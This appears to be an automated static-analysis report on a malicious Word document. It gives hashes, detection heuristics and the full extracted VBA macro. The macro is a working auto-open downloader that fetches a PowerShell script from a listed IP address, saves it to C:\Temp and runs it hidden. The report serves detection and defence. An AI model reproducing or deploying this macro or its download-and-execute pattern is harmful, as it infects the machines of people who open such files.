Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 a14465aa6530caa8…

MALICIOUS

Office (OOXML) / .DOCX

70.1 KB Created: 2025-12-17 20:45:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2026-06-28
MD5: 82627721f45a14794abb40e95908450a SHA-1: 105c5adf94f9c62a86f89d10e2aeaf470f9043c3 SHA-256: a14465aa6530caa86f0afaae98e1ef9314f958daa22ccb213ec82901992e1076
410 Risk Score

Heuristics 9

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell As Object, fso As Object, http As Object
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set shell = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
            shell.Run "PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File """ & scriptPath & """", 0, True
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set shell = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://77.83.39.207/RAY/Y1.ps1 In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1375 bytes
SHA-256: fd5965cb3ef736bbb6b0d86c67ebe4bb1d92e9706ef7a6508ae8afc099c93e21
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim scriptUrl As String, scriptPath As String, tempDir As String
    Dim shell As Object, fso As Object, http As Object
    
    scriptUrl = "http://77.83.39.207/RAY/Y1.ps1"
    tempDir = "C:\Temp"
    scriptPath = tempDir & "\Y1.ps1"
    
    On Error Resume Next
    
    Set shell = CreateObject("WScript.Shell")
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set http = CreateObject("MSXML2.XMLHTTP")
    
    ' Create temp directory if needed
    If Not fso.FolderExists(tempDir) Then
        fso.CreateFolder tempDir
    End If
    
    ' Download file
    http.Open "GET", scriptUrl, False
    http.Send
    
    If http.Status = 200 Then
        With fso.CreateTextFile(scriptPath, True)
            .Write http.ResponseText
            .Close
        End With
        
        ' Execute PowerShell
        shell.Run "PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File """ & scriptPath & """", 0, True
    End If
End Sub

Attribute VB_Name = "NewMacros"
Sub t()
'
' t Macro
'
'

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: feef928920dbf7110689afb5ad2d0d5bda5f88454b4c0332104af4245e89afbf
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely

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